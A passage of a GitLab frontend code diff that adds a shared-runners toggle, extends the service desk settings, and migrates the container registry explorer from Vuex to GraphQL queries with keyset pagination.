$(selectedTemplate.icon)
.clone()
diff --git a/app/assets/javascripts/projects/settings/access_dropdown.js b/app/assets/javascripts/projects/settings/access_dropdown.js
index 3ca5bca4bf2..cb4fd5265da 100644
--- a/app/assets/javascripts/projects/settings/access_dropdown.js
+++ b/app/assets/javascripts/projects/settings/access_dropdown.js
@@ -48,11 +48,12 @@ export default class AccessDropdown {
clicked: options => {
const { $el, e } = options;
const item = options.selectedObj;
+ const fossWithMergeAccess = !this.hasLicense && this.accessLevel === ACCESS_LEVELS.MERGE;
e.preventDefault();
- if (!this.hasLicense) {
- // We're not multiselecting quite yet with FOSS:
+ if (fossWithMergeAccess) {
+ // We're not multiselecting quite yet in "Merge" access dropdown, on FOSS:
// remove all preselected items before selecting this item
// https://gitlab.com/gitlab-org/gitlab/-/merge_requests/37499
this.accessLevelsData.forEach(level => {
@@ -62,7 +63,7 @@ export default class AccessDropdown {
if ($el.is('.is-active')) {
if (this.noOneObj) {
- if (item.id === this.noOneObj.id && this.hasLicense) {
+ if (item.id === this.noOneObj.id && !fossWithMergeAccess) {
// remove all others selected items
this.accessLevelsData.forEach(level => {
if (level.id !== item.id) {
diff --git a/app/assets/javascripts/projects/settings/components/shared_runners_toggle.vue b/app/assets/javascripts/projects/settings/components/shared_runners_toggle.vue
new file mode 100644
index 00000000000..a4924033c1e
--- /dev/null
+++ b/app/assets/javascripts/projects/settings/components/shared_runners_toggle.vue
@@ -0,0 +1,79 @@
+<script>
+import { GlAlert, GlToggle, GlTooltip } from '@gitlab/ui';
+import { __ } from '~/locale';
+import axios from '~/lib/utils/axios_utils';
+
+const DEFAULT_ERROR_MESSAGE = __('An error occurred while updating the configuration.');
+
+export default {
+ components: {
+ GlAlert,
+ GlToggle,
+ GlTooltip,
+ },
+ props: {
+ isDisabledAndUnoverridable: {
+ type: Boolean,
+ required: true,
+ },
+ isEnabled: {
+ type: Boolean,
+ required: true,
+ },
+ updatePath: {
+ type: String,
+ required: true,
+ },
+ },
+ data() {
+ return {
+ isLoading: false,
+ isSharedRunnerEnabled: false,
+ errorMessage: null,
+ };
+ },
+ created() {
+ this.isSharedRunnerEnabled = this.isEnabled;
+ },
+ methods: {
+ toggleSharedRunners() {
+ this.isLoading = true;
+ this.errorMessage = null;
+
+ axios
+ .post(this.updatePath)
+ .then(() => {
+ this.isLoading = false;
+ this.isSharedRunnerEnabled = !this.isSharedRunnerEnabled;
+ })
+ .catch(error => {
+ this.isLoading = false;
+ this.errorMessage = error.response?.data?.error || DEFAULT_ERROR_MESSAGE;
+ });
+ },
+ },
+};
+</script>
+
+<template>
+ <div>
+ <section class="gl-mt-5">
+ <gl-alert v-if="errorMessage" class="gl-mb-3" variant="danger" :dismissible="false">
+ {{ errorMessage }}
+ </gl-alert>
+ <div ref="sharedRunnersToggle">
+ <gl-toggle
+ :disabled="isDisabledAndUnoverridable"
+ :is-loading="isLoading"
+ :label="__('Enable shared runners for this project')"
+ :value="isSharedRunnerEnabled"
+ data-testid="toggle-shared-runners"
+ @change="toggleSharedRunners"
+ />
+ </div>
+ <gl-tooltip v-if="isDisabledAndUnoverridable" :target="() => $refs.sharedRunnersToggle">
+ {{ __('Shared runners are disabled on group level') }}
+ </gl-tooltip>
+ </section>
+ </div>
+</template>
diff --git a/app/assets/javascripts/projects/settings/mount_shared_runners_toggle.js b/app/assets/javascripts/projects/settings/mount_shared_runners_toggle.js
new file mode 100644
index 00000000000..c5d45fe6fed
--- /dev/null
+++ b/app/assets/javascripts/projects/settings/mount_shared_runners_toggle.js
@@ -0,0 +1,21 @@
+import Vue from 'vue';
+import SharedRunnersToggle from '~/projects/settings/components/shared_runners_toggle.vue';
+import { parseBoolean } from '~/lib/utils/common_utils';
+
+export default (containerId = 'toggle-shared-runners-form') => {
+ const containerEl = document.getElementById(containerId);
+ const { isDisabledAndUnoverridable, isEnabled, updatePath } = containerEl.dataset;
+
+ return new Vue({
+ el: containerEl,
+ render(createElement) {
+ return createElement(SharedRunnersToggle, {
+ props: {
+ isDisabledAndUnoverridable: parseBoolean(isDisabledAndUnoverridable),
+ isEnabled: parseBoolean(isEnabled),
+ updatePath,
+ },
+ });
+ },
+ });
+};
diff --git a/app/assets/javascripts/projects/settings_service_desk/components/service_desk_root.vue b/app/assets/javascripts/projects/settings_service_desk/components/service_desk_root.vue
index df7d9b56aed..a07c57c42cb 100644
--- a/app/assets/javascripts/projects/settings_service_desk/components/service_desk_root.vue
+++ b/app/assets/javascripts/projects/settings_service_desk/components/service_desk_root.vue
@@ -30,6 +30,10 @@ export default {
required: false,
default: '',
},
+ customEmailEnabled: {
+ type: Boolean,
+ required: false,
+ },
selectedTemplate: {
type: String,
required: false,
@@ -140,6 +144,7 @@ export default {
:is-enabled="isEnabled"
:incoming-email="incomingEmail"
:custom-email="updatedCustomEmail"
+ :custom-email-enabled="customEmailEnabled"
:initial-selected-template="selectedTemplate"
:initial-outgoing-name="outgoingName"
:initial-project-key="projectKey"
diff --git a/app/assets/javascripts/projects/settings_service_desk/components/service_desk_setting.vue b/app/assets/javascripts/projects/settings_service_desk/components/service_desk_setting.vue
index 5d120fd0b3f..2896cb491b5 100644
--- a/app/assets/javascripts/projects/settings_service_desk/components/service_desk_setting.vue
+++ b/app/assets/javascripts/projects/settings_service_desk/components/service_desk_setting.vue
@@ -31,6 +31,10 @@ export default {
required: false,
default: '',
},
+ customEmailEnabled: {
+ type: Boolean,
+ required: false,
+ },
initialSelectedTemplate: {
type: String,
required: false,
@@ -69,7 +73,7 @@ export default {
return [''].concat(this.templates);
},
hasProjectKeySupport() {
- return Boolean(this.glFeatures.serviceDeskCustomAddress);
+ return Boolean(this.customEmailEnabled);
},
email() {
return this.customEmail || this.incomingEmail;
diff --git a/app/assets/javascripts/projects/settings_service_desk/index.js b/app/assets/javascripts/projects/settings_service_desk/index.js
index c73163788ef..8f9828dd73d 100644
--- a/app/assets/javascripts/projects/settings_service_desk/index.js
+++ b/app/assets/javascripts/projects/settings_service_desk/index.js
@@ -18,6 +18,7 @@ export default () => {
endpoint: dataset.endpoint,
incomingEmail: dataset.incomingEmail,
customEmail: dataset.customEmail,
+ customEmailEnabled: parseBoolean(dataset.customEmailEnabled),
selectedTemplate: dataset.selectedTemplate,
outgoingName: dataset.outgoingName,
projectKey: dataset.projectKey,
@@ -31,6 +32,7 @@ export default () => {
endpoint: this.endpoint,
incomingEmail: this.incomingEmail,
customEmail: this.customEmail,
+ customEmailEnabled: this.customEmailEnabled,
selectedTemplate: this.selectedTemplate,
outgoingName: this.outgoingName,
projectKey: this.projectKey,
diff --git a/app/assets/javascripts/registry/explorer/components/details_page/details_header.vue b/app/assets/javascripts/registry/explorer/components/details_page/details_header.vue
index ff613daf7fa..3eeb7b29386 100644
--- a/app/assets/javascripts/registry/explorer/components/details_page/details_header.vue
+++ b/app/assets/javascripts/registry/explorer/components/details_page/details_header.vue
@@ -1,15 +1,29 @@
<script>
import { GlSprintf } from '@gitlab/ui';
+import { sprintf } from '~/locale';
import TitleArea from '~/vue_shared/components/registry/title_area.vue';
-import { DETAILS_PAGE_TITLE } from '../../constants/index';
+import MetadataItem from '~/vue_shared/components/registry/metadata_item.vue';
+import timeagoMixin from '~/vue_shared/mixins/timeago';
+import { DETAILS_PAGE_TITLE, UPDATED_AT } from '../../constants/index';
export default {
- components: { GlSprintf, TitleArea },
+ components: { GlSprintf, TitleArea, MetadataItem },
+ mixins: [timeagoMixin],
props: {
- imageName: {
- type: String,
- required: false,
- default: '',
+ image: {
+ type: Object,
+ required: true,
+ },
+ },
+ computed: {
+ visibilityIcon() {
+ return this.image?.project?.visibility === 'public' ? 'eye' : 'eye-slash';
+ },
+ timeAgo() {
+ return this.timeFormatted(this.image.updatedAt);
+ },
+ updatedText() {
+ return sprintf(UPDATED_AT, { time: this.timeAgo });
},
},
i18n: {
@@ -23,9 +37,17 @@ export default {
<template #title>
<gl-sprintf :message="$options.i18n.DETAILS_PAGE_TITLE">
<template #imageName>
- {{ imageName }}
+ {{ image.name }}
</template>
</gl-sprintf>
</template>
+ <template #metadata-updated>
+ <metadata-item
+ :icon="visibilityIcon"
+ :text="updatedText"
+ size="xl"
+ data-testid="updated-and-visibility"
+ />
+ </template>
</title-area>
</template>
diff --git a/app/assets/javascripts/registry/explorer/components/details_page/tags_list.vue b/app/assets/javascripts/registry/explorer/components/details_page/tags_list.vue
index 2844b4ffde3..ad39a898e7b 100644
--- a/app/assets/javascripts/registry/explorer/components/details_page/tags_list.vue
+++ b/app/assets/javascripts/registry/explorer/components/details_page/tags_list.vue
@@ -34,7 +34,7 @@ export default {
return this.tags.some(tag => this.selectedItems[tag.name]);
},
showMultiDeleteButton() {
- return this.tags.some(tag => tag.destroy_path) && !this.isMobile;
+ return this.tags.some(tag => tag.canDelete) && !this.isMobile;
},
},
methods: {
diff --git a/app/assets/javascripts/registry/explorer/components/details_page/tags_list_row.vue b/app/assets/javascripts/registry/explorer/components/details_page/tags_list_row.vue
index 2edeac1144f..5aeafd318aa 100644
--- a/app/assets/javascripts/registry/explorer/components/details_page/tags_list_row.vue
+++ b/app/assets/javascripts/registry/explorer/components/details_page/tags_list_row.vue
@@ -63,7 +63,7 @@ export default {
},
computed: {
formattedSize() {
- return this.tag.total_size ? numberToHumanSize(this.tag.total_size) : NOT_AVAILABLE_SIZE;
+ return this.tag.totalSize ? numberToHumanSize(this.tag.totalSize) : NOT_AVAILABLE_SIZE;
},
layers() {
return this.tag.layers ? n__('%d layer', '%d layers', this.tag.layers) : '';
@@ -76,10 +76,10 @@ export default {
return this.tag.digest?.substring(7, 14) ?? NOT_AVAILABLE_TEXT;
},
publishedDate() {
- return formatDate(this.tag.created_at, 'isoDate');
+ return formatDate(this.tag.createdAt, 'isoDate');
},
publishedTime() {
- return formatDate(this.tag.created_at, 'hh:MM Z');
+ return formatDate(this.tag.createdAt, 'hh:MM Z');
},
formattedRevision() {
// to be removed when API response is adjusted
@@ -101,7 +101,7 @@ export default {
<list-item v-bind="$attrs" :selected="selected">
<template #left-action>
<gl-form-checkbox
- v-if="Boolean(tag.destroy_path)"
+ v-if="tag.canDelete"
:disabled="invalidTag"
class="gl-m-0"
:checked="selected"
@@ -148,7 +148,7 @@ export default {
<span data-testid="time">
<gl-sprintf :message="$options.i18n.CREATED_AT_LABEL">
<template #timeInfo>
- <time-ago-tooltip :time="tag.created_at" />
+ <time-ago-tooltip :time="tag.createdAt" />
</template>
</gl-sprintf>
</span>
@@ -162,10 +162,10 @@ export default {
</template>
<template #right-action>
<delete-button
- :disabled="!tag.destroy_path || invalidTag"
+ :disabled="!tag.canDelete || invalidTag"
:title="$options.i18n.REMOVE_TAG_BUTTON_TITLE"
:tooltip-title="$options.i18n.REMOVE_TAG_BUTTON_DISABLE_TOOLTIP"
- :tooltip-disabled="Boolean(tag.destroy_path)"
+ :tooltip-disabled="tag.canDelete"
data-testid="single-delete-button"
@delete="$emit('delete')"
/>
diff --git a/app/assets/javascripts/registry/explorer/components/list_page/cli_commands.vue b/app/assets/javascripts/registry/explorer/components/list_page/cli_commands.vue
index ba55822f0ca..319666210d6 100644
--- a/app/assets/javascripts/registry/explorer/components/list_page/cli_commands.vue
+++ b/app/assets/javascripts/registry/explorer/components/list_page/cli_commands.vue
@@ -1,6 +1,5 @@
<script>
import { GlDropdown } from '@gitlab/ui';
-import { mapGetters } from 'vuex';
import Tracking from '~/tracking';
import CodeInstruction from '~/vue_shared/components/registry/code_instruction.vue';
import {
@@ -20,6 +19,7 @@ export default {
GlDropdown,
CodeInstruction,
},
+ inject: ['config', 'dockerBuildCommand', 'dockerPushCommand', 'dockerLoginCommand'],
mixins: [Tracking.mixin({ label: trackingLabel })],
trackingLabel,
i18n: {
@@ -31,9 +31,6 @@ export default {
PUSH_COMMAND_LABEL,
COPY_PUSH_TITLE,
},
- computed: {
- ...mapGetters(['dockerBuildCommand', 'dockerPushCommand', 'dockerLoginCommand']),
- },
};
</script>
<template>
diff --git a/app/assets/javascripts/registry/explorer/components/list_page/group_empty_state.vue b/app/assets/javascripts/registry/explorer/components/list_page/group_empty_state.vue
index 80cc392f86a..26e9fee63af 100644
--- a/app/assets/javascripts/registry/explorer/components/list_page/group_empty_state.vue
+++ b/app/assets/javascripts/registry/explorer/components/list_page/group_empty_state.vue
@@ -1,17 +1,14 @@
<script>
import { GlEmptyState, GlSprintf, GlLink } from '@gitlab/ui';
-import { mapState } from 'vuex';
export default {
name: 'GroupEmptyState',
+ inject: ['config'],
components: {
GlEmptyState,
GlSprintf,
GlLink,
},
- computed: {
- ...mapState(['config']),
- },
};
</script>
<template>
diff --git a/app/assets/javascripts/registry/explorer/components/list_page/image_list.vue b/app/assets/javascripts/registry/explorer/components/list_page/image_list.vue
index d1b9894da0e..f8b3233438f 100644
--- a/app/assets/javascripts/registry/explorer/components/list_page/image_list.vue
+++ b/app/assets/javascripts/registry/explorer/components/list_page/image_list.vue
@@ -1,11 +1,11 @@
<script>
-import { GlPagination } from '@gitlab/ui';
+import { GlKeysetPagination } from '@gitlab/ui';
import ImageListRow from './image_list_row.vue';
export default {
name: 'ImageList',
components: {
- GlPagination,
+ GlKeysetPagination,
ImageListRow,
},
props: {
@@ -13,19 +13,14 @@ export default {
type: Array,
required: true,
},
- pagination: {
+ pageInfo: {
type: Object,
required: true,
},
},
computed: {
- currentPage: {
- get() {
- return this.pagination.page;
- },
- set(page) {
- this.$emit('pageChange', page);
- },
+ showPagination() {
+ return this.pageInfo.hasPreviousPage || this.pageInfo.hasNextPage;
},
},
};
@@ -40,13 +35,15 @@ export default {
:first="index === 0"
@delete="$emit('delete', $event)"
/>
-
- <gl-pagination
- v-model="currentPage"
- :per-page="pagination.perPage"
- :total-items="pagination.total"
- align="center"
- class="w-100 gl-mt-3"
- />
+ <div class="gl-display-flex gl-justify-content-center">
+ <gl-keyset-pagination
+ v-if="showPagination"
+ :has-next-page="pageInfo.hasNextPage"
+ :has-previous-page="pageInfo.hasPreviousPage"
+ class="gl-mt-3"
+ @prev="$emit('prev-page')"
+ @next="$emit('next-page')"
+ />
+ </div>
</div>
</template>
diff --git a/app/assets/javascripts/registry/explorer/components/list_page/image_list_row.vue b/app/assets/javascripts/registry/explorer/components/list_page/image_list_row.vue
index b0a7c4824bd..3fe61dc231a 100644
--- a/app/assets/javascripts/registry/explorer/components/list_page/image_list_row.vue
+++ b/app/assets/javascripts/registry/explorer/components/list_page/image_list_row.vue
@@ -1,6 +1,8 @@
<script>
import { GlTooltipDirective, GlIcon, GlSprintf } from '@gitlab/ui';
import { n__ } from '~/locale';
+import { getIdFromGraphQLId } from '~/graphql_shared/utils';
+
import ClipboardButton from '~/vue_shared/components/clipboard_button.vue';
import ListItem from '~/vue_shared/components/registry/list_item.vue';
import DeleteButton from '../delete_button.vue';
@@ -11,6 +13,8 @@ import {
REMOVE_REPOSITORY_LABEL,
ROW_SCHEDULED_FOR_DELETION,
CLEANUP_TIMED_OUT_ERROR_MESSAGE,
+ IMAGE_DELETE_SCHEDULED_STATUS,
+ IMAGE_FAILED_DELETED_STATUS,
} from '../../constants/index';
export default {
@@ -38,19 +42,29 @@ export default {
},
computed: {
disabledDelete() {
- return !this.item.destroy_path || this.item.deleting;
+ return !this.item.canDelete || this.deleting;
+ },
+ id() {
+ return getIdFromGraphQLId(this.item.id);
+ },
+ deleting() {
+ return this.item.status === IMAGE_DELETE_SCHEDULED_STATUS;
+ },
+ failedDelete() {
+ return this.item.status === IMAGE_FAILED_DELETED_STATUS;
},
tagsCountText() {
return n__(
'ContainerRegistry|%{count} Tag',
'ContainerRegistry|%{count} Tags',
- this.item.tags_count,
+ this.item.tagsCount,
);
},
warningIconText() {
- if (this.item.failedDelete) {
+ if (this.failedDelete) {
return ASYNC_DELETE_IMAGE_ERROR_MESSAGE;
- } else if (this.item.cleanup_policy_started_at) {
+ }
+ if (this.item.expirationPolicyStartedAt) {
return CLEANUP_TIMED_OUT_ERROR_MESSAGE;
}
return null;
@@ -63,23 +77,23 @@ export default {
<list-item
v-gl-tooltip="{
placement: 'left',
- disabled: !item.deleting,
+ disabled: !deleting,
title: $options.i18n.ROW_SCHEDULED_FOR_DELETION,
}"
v-bind="$attrs"
- :disabled="item.deleting"
+ :disabled="deleting"
>
<template #left-primary>
<router-link
class="gl-text-body gl-font-weight-bold"
data-testid="details-link"
- :to="{ name: 'details', params: { id: item.id } }"
+ :to="{ name: 'details', params: { id } }"
>
{{ item.path }}
</router-link>
<clipboard-button
v-if="item.location"
- :disabled="item.deleting"
+ :disabled="deleting"
:text="item.location"
:title="item.location"
category="tertiary"
@@ -97,7 +111,7 @@ export default {
<gl-icon name="tag" class="gl-mr-2" />
<gl-sprintf :message="tagsCountText">
<template #count>
- {{ item.tags_count }}
+ {{ item.tagsCount }}
</template>
</gl-sprintf>
</span>
@@ -106,7 +120,7 @@ export default {
<delete-button
:title="$options.i18n.REMOVE_REPOSITORY_LABEL"
:disabled="disabledDelete"
- :tooltip-disabled="Boolean(item.destroy_path)"
+ :tooltip-disabled="item.canDelete"
:tooltip-title="$options.i18n.LIST_DELETE_BUTTON_DISABLED"
@delete="$emit('delete', item)"
/>
diff --git a/app/assets/javascripts/registry/explorer/components/list_page/project_empty_state.vue b/app/assets/javascripts/registry/explorer/components/list_page/project_empty_state.vue
index 35eb0b11e40..5308b025cc0 100644
--- a/app/assets/javascripts/registry/explorer/components/list_page/project_empty_state.vue
+++ b/app/assets/javascripts/registry/explorer/components/list_page/project_empty_state.vue
@@ -1,6 +1,5 @@
<script>
import { GlEmptyState, GlSprintf, GlLink, GlFormInputGroup, GlFormInput } from '@gitlab/ui';
-import { mapState, mapGetters } from 'vuex';
import { s__ } from '~/locale';
import ClipboardButton from '~/vue_shared/components/clipboard_button.vue';
import {
@@ -20,6 +19,7 @@ export default {
GlFormInputGroup,
GlFormInput,
},
+ inject: ['config', 'dockerBuildCommand', 'dockerPushCommand', 'dockerLoginCommand'],
i18n: {
quickStart: QUICK_START,
copyLoginTitle: COPY_LOGIN_TITLE,
@@ -35,10 +35,6 @@ export default {
'ContainerRegistry|You can add an image to this registry with the following commands:',
),
},
- computed: {
- ...mapState(['config']),
- ...mapGetters(['dockerBuildCommand', 'dockerPushCommand', 'dockerLoginCommand']),
- },
};
</script>
<template>
diff --git a/app/assets/javascripts/registry/explorer/components/registry_breadcrumb.vue b/app/assets/javascripts/registry/explorer/components/registry_breadcrumb.vue
index 666d8b042da..1cedcc41b2b 100644
--- a/app/assets/javascripts/registry/explorer/components/registry_breadcrumb.vue
+++ b/app/assets/javascripts/registry/explorer/components/registry_breadcrumb.vue
@@ -1,9 +1,11 @@
<script>
+/* eslint-disable vue/no-v-html */
+// We are forced to use `v-html` untill this gitlab-ui issue is resolved: https://gitlab.com/gitlab-org/gitlab-ui/-/issues/1079
+// then we can re-write this to use gl-breadcrumb
import { initial, first, last } from 'lodash';
-import { GlSafeHtmlDirective as SafeHtml } from '@gitlab/ui';
+import { sanitize } from '~/lib/dompurify';
export default {
- directives: { SafeHtml },
props: {
crumbs: {
type: Array,
@@ -11,6 +13,9 @@ export default {
},
},
computed: {
+ parsedCrumbs() {
+ return this.crumbs.map(c => ({ ...c, innerHTML: sanitize(c.innerHTML) }));
+ },
rootRoute() {
return this.$router.options.routes.find(r => r.meta.root);
},
@@ -18,11 +23,11 @@ export default {
return this.$route.name === this.rootRoute.name;
},
rootCrumbs() {
- return initial(this.crumbs);
+ return initial(this.parsedCrumbs);
},
divider() {
const { classList, tagName, innerHTML } = first(this.crumbs).querySelector('svg');
- return { classList: [...classList], tagName, innerHTML };
+ return { classList: [...classList], tagName, innerHTML: sanitize(innerHTML) };
},
lastCrumb() {
const { children } = last(this.crumbs);
@@ -30,7 +35,7 @@ export default {
return {
tagName,
className,
- text: this.$route.meta.nameGenerator(this.$store.state),
+ text: this.$route.meta.nameGenerator(),
path: { to: this.$route.name },
};
},
@@ -43,14 +48,14 @@ export default {
<li
v-for="(crumb, index) in rootCrumbs"
:key="index"
- v-safe-html="crumb.innerHTML"
:class="crumb.className"
+ v-html="crumb.innerHTML"
></li>
<li v-if="!isRootRoute">
<router-link ref="rootRouteLink" :to="rootRoute.path">
- {{ rootRoute.meta.nameGenerator($store.state) }}
+ {{ rootRoute.meta.nameGenerator() }}
</router-link>
- <component :is="divider.tagName" v-safe-html="divider.innerHTML" :class="divider.classList" />
+ <component :is="divider.tagName" :class="divider.classList" v-html="divider.innerHTML" />
</li>
<li>
<component :is="lastCrumb.tagName" ref="lastCrumb" :class="lastCrumb.className">
diff --git a/app/assets/javascripts/registry/explorer/constants/details.js b/app/assets/javascripts/registry/explorer/constants/details.js
index 306e6903a4f..1babaaa93da 100644
--- a/app/assets/javascripts/registry/explorer/constants/details.js
+++ b/app/assets/javascripts/registry/explorer/constants/details.js
@@ -56,6 +56,8 @@ export const MISSING_MANIFEST_WARNING_TOOLTIP = s__(
'ContainerRegistry|Invalid tag: missing manifest digest',
);
+export const UPDATED_AT = s__('ContainerRegistry|Last updated %{time}');
+
export const NOT_AVAILABLE_TEXT = __('N/A');
export const NOT_AVAILABLE_SIZE = __('0 bytes');
// Parameters
diff --git a/app/assets/javascripts/registry/explorer/constants/list.js b/app/assets/javascripts/registry/explorer/constants/list.js
index 39f63d2a153..37ced72861e 100644
--- a/app/assets/javascripts/registry/explorer/constants/list.js
+++ b/app/assets/javascripts/registry/explorer/constants/list.js
@@ -44,5 +44,6 @@ export const EMPTY_RESULT_MESSAGE = s__(
// Parameters
-export const IMAGE_DELETE_SCHEDULED_STATUS = 'delete_scheduled';
-export const IMAGE_FAILED_DELETED_STATUS = 'delete_failed';
+export const IMAGE_DELETE_SCHEDULED_STATUS = 'DELETE_SCHEDULED';
+export const IMAGE_FAILED_DELETED_STATUS = 'DELETE_FAILED';
+export const GRAPHQL_PAGE_SIZE = 10;
diff --git a/app/assets/javascripts/registry/explorer/graphql/fragments/container_repository.fragment.graphql b/app/assets/javascripts/registry/explorer/graphql/fragments/container_repository.fragment.graphql
new file mode 100644
index 00000000000..9a3579ee8e0
--- /dev/null
+++ b/app/assets/javascripts/registry/explorer/graphql/fragments/container_repository.fragment.graphql
@@ -0,0 +1,11 @@
+fragment ContainerRepositoryFields on ContainerRepository {
+ id
+ name
+ path
+ status
+ location
+ canDelete
+ createdAt
+ tagsCount
+ expirationPolicyStartedAt
+}
diff --git a/app/assets/javascripts/registry/explorer/graphql/index.js b/app/assets/javascripts/registry/explorer/graphql/index.js
new file mode 100644
index 00000000000..16152eb81f6
--- /dev/null
+++ b/app/assets/javascripts/registry/explorer/graphql/index.js
@@ -0,0 +1,14 @@
+import Vue from 'vue';
+import VueApollo from 'vue-apollo';
+import createDefaultClient from '~/lib/graphql';
+
+Vue.use(VueApollo);
+
+export const apolloProvider = new VueApollo({
+ defaultClient: createDefaultClient(
+ {},
+ {
+ assumeImmutableResults: true,
+ },
+ ),
+});
diff --git a/app/assets/javascripts/registry/explorer/graphql/mutations/delete_container_repository.mutation.graphql b/app/assets/javascripts/registry/explorer/graphql/mutations/delete_container_repository.mutation.graphql
new file mode 100644
index 00000000000..4c88b726ee5
--- /dev/null
+++ b/app/assets/javascripts/registry/explorer/graphql/mutations/delete_container_repository.mutation.graphql
@@ -0,0 +1,9 @@
+mutation destroyContainerRepository($id: ContainerRepositoryID!) {
+ destroyContainerRepository(input: { id: $id }) {
+ containerRepository {
+ id
+ status
+ }
+ errors
+ }
+}
diff --git a/app/assets/javascripts/registry/explorer/graphql/mutations/delete_container_repository_tags.mutation.graphql b/app/assets/javascripts/registry/explorer/graphql/mutations/delete_container_repository_tags.mutation.graphql
new file mode 100644
index 00000000000..a31f2829e13
--- /dev/null
+++ b/app/assets/javascripts/registry/explorer/graphql/mutations/delete_container_repository_tags.mutation.graphql
@@ -0,0 +1,5 @@
+mutation destroyContainerRepositoryTags($id: ContainerRepositoryID!, $tagNames: [String!]!) {
+ destroyContainerRepositoryTags(input: { id: $id, tagNames: $tagNames }) {
+ errors
+ }
+}
diff --git a/app/assets/javascripts/registry/explorer/graphql/queries/get_container_repository_details.query.graphql b/app/assets/javascripts/registry/explorer/graphql/queries/get_container_repository_details.query.graphql
new file mode 100644
index 00000000000..b40200e020b
--- /dev/null
+++ b/app/assets/javascripts/registry/explorer/graphql/queries/get_container_repository_details.query.graphql
@@ -0,0 +1,41 @@
+#import "~/graphql_shared/fragments/pageInfo.fragment.graphql"
+
+query getContainerRepositoryDetails(
+ $id: ID!
+ $first: Int
+ $last: Int
+ $after: String
+ $before: String
+) {
+ containerRepository(id: $id) {
+ id
+ name
+ path
+ status
+ location
+ canDelete
+ createdAt
+ updatedAt
+ tagsCount
+ expirationPolicyStartedAt
+ tags(after: $after, before: $before, first: $first, last: $last) {
+ nodes {
+ digest
+ location
+ path
+ name
+ revision
+ shortRevision
+ createdAt
+ totalSize
+ canDelete
+ }
+ pageInfo {
+ ...PageInfo
+ }
+ }
+ project {
+ visibility
+ }
+ }
+}
diff --git a/app/assets/javascripts/registry/explorer/graphql/queries/get_group_container_repositories.query.graphql b/app/assets/javascripts/registry/explorer/graphql/queries/get_group_container_repositories.query.graphql
new file mode 100644
index 00000000000..348eda97ea7
--- /dev/null
+++ b/app/assets/javascripts/registry/explorer/graphql/queries/get_group_container_repositories.query.graphql
@@ -0,0 +1,23 @@
+#import "~/graphql_shared/fragments/pageInfo.fragment.graphql"
+#import "../fragments/container_repository.fragment.graphql"
+
+query getGroupContainerRepositories(
+ $fullPath: ID!
+ $name: String
+ $first: Int
+ $last: Int
+ $after: String
+ $before: String
+) {
+ group(fullPath: $fullPath) {
+ containerRepositoriesCount
+ containerRepositories(name: $name, after: $after, before: $before, first: $first, last: $last) {
+ nodes {
+ ...ContainerRepositoryFields
+ }
+ pageInfo {
+ ...PageInfo
+ }
+ }
+ }
+}
diff --git a/app/assets/javascripts/registry/explorer/graphql/queries/get_project_container_repositories.query.graphql b/app/assets/javascripts/registry/explorer/graphql/queries/get_project_container_repositories.query.graphql
new file mode 100644
index 00000000000..338e27745f7
--- /dev/null
+++ b/app/assets/javascripts/registry/explorer/graphql/queries/get_project_container_repositories.query.graphql
@@ -0,0 +1,23 @@
+#import "~/graphql_shared/fragments/pageInfo.fragment.graphql"
+#import "../fragments/container_repository.fragment.graphql"
+
+query getProjectContainerRepositories(
+ $fullPath: ID!
+ $name: String
+ $first: Int
+ $last: Int
+ $after: String
+ $before: String
+) {
+ project(fullPath: $fullPath) {
+ containerRepositoriesCount
+ containerRepositories(name: $name, after: $after, before: $before, first: $first, last: $last) {
+ nodes {
+ ...ContainerRepositoryFields
+ }
+ pageInfo {
+ ...PageInfo
+ }
+ }
+ }
+}
diff --git a/app/assets/javascripts/registry/explorer/index.js b/app/assets/javascripts/registry/explorer/index.js
index 2bba3ee4ff9..d887b6a1b15 100644
--- a/app/assets/javascripts/registry/explorer/index.js
+++ b/app/assets/javascripts/registry/explorer/index.js
@@ -1,10 +1,11 @@
import Vue from 'vue';
import { GlToast } from '@gitlab/ui';
import Translate from '~/vue_shared/translate';
+import { parseBoolean } from '~/lib/utils/common_utils';
import RegistryExplorer from './pages/index.vue';
import RegistryBreadcrumb from './components/registry_breadcrumb.vue';
-import { createStore } from './stores';
import createRouter from './router';
+import { apolloProvider } from './graphql/index';
Vue.use(Translate);
Vue.use(GlToast);
@@ -16,20 +17,42 @@ export default () => {
return null;
}
- const { endpoint } = el.dataset;
+ const { endpoint, expirationPolicy, isGroupPage, isAdmin, ...config } = el.dataset;
- const store = createStore();
- const router = createRouter(endpoint);
- store.dispatch('setInitialState', el.dataset);
+ // This is a mini state to help the breadcrumb have the correct name in the details page
+ const breadCrumbState = Vue.observable({
+ name: '',
+ updateName(value) {
+ this.name = value;
+ },
+ });
+
+ const router = createRouter(endpoint, breadCrumbState);
const attachMainComponent = () =>
new Vue({
el,
- store,
router,
+ apolloProvider,
components: {
RegistryExplorer,
},
+ provide() {
+ return {
+ breadCrumbState,
+ config: {
+ ...config,
+ expirationPolicy: expirationPolicy ? JSON.parse(expirationPolicy) : undefined,
+ isGroupPage: parseBoolean(isGroupPage),
+ isAdmin: parseBoolean(isAdmin),
+ },
+ /* eslint-disable @gitlab/require-i18n-strings */
+ dockerBuildCommand: `docker build -t ${config.repositoryUrl} .`,
+ dockerPushCommand: `docker push ${config.repositoryUrl}`,
+ dockerLoginCommand: `docker login ${config.registryHostUrlWithPort}`,
+ /* eslint-enable @gitlab/require-i18n-strings */
+ };
+ },
render(createElement) {
return createElement('registry-explorer');
},
@@ -40,8 +63,8 @@ export default () => {
const crumbs = [...document.querySelectorAll('.js-breadcrumbs-list li')];
return new Vue({
el: breadCrumbEl,
- store,
router,
+ apolloProvider,
components: {
RegistryBreadcrumb,
},
diff --git a/app/assets/javascripts/registry/explorer/pages/details.vue b/app/assets/javascripts/registry/explorer/pages/details.vue
index a60ef5c4982..540f02d58d4 100644
--- a/app/assets/javascripts/registry/explorer/pages/details.vue
+++ b/app/assets/javascripts/registry/explorer/pages/details.vue
@@ -1,8 +1,9 @@
<script>
-import { mapState, mapActions } from 'vuex';
-import { GlPagination, GlResizeObserverDirective } from '@gitlab/ui';
+import { GlKeysetPagination, GlResizeObserverDirective } from '@gitlab/ui';
import { GlBreakpointInstance } from '@gitlab/ui/dist/utils';
+import createFlash from '~/flash';
import Tracking from '~/tracking';
+import { joinPaths } from '~/lib/utils/url_utility';
import DeleteAlert from '../components/details_page/delete_alert.vue';
import PartialCleanupAlert from '../components/details_page/partial_cleanup_alert.vue';
import DeleteModal from '../components/details_page/delete_modal.vue';
@@ -11,11 +12,16 @@ import TagsList from '../components/details_page/tags_list.vue';
import TagsLoader from '../components/details_page/tags_loader.vue';
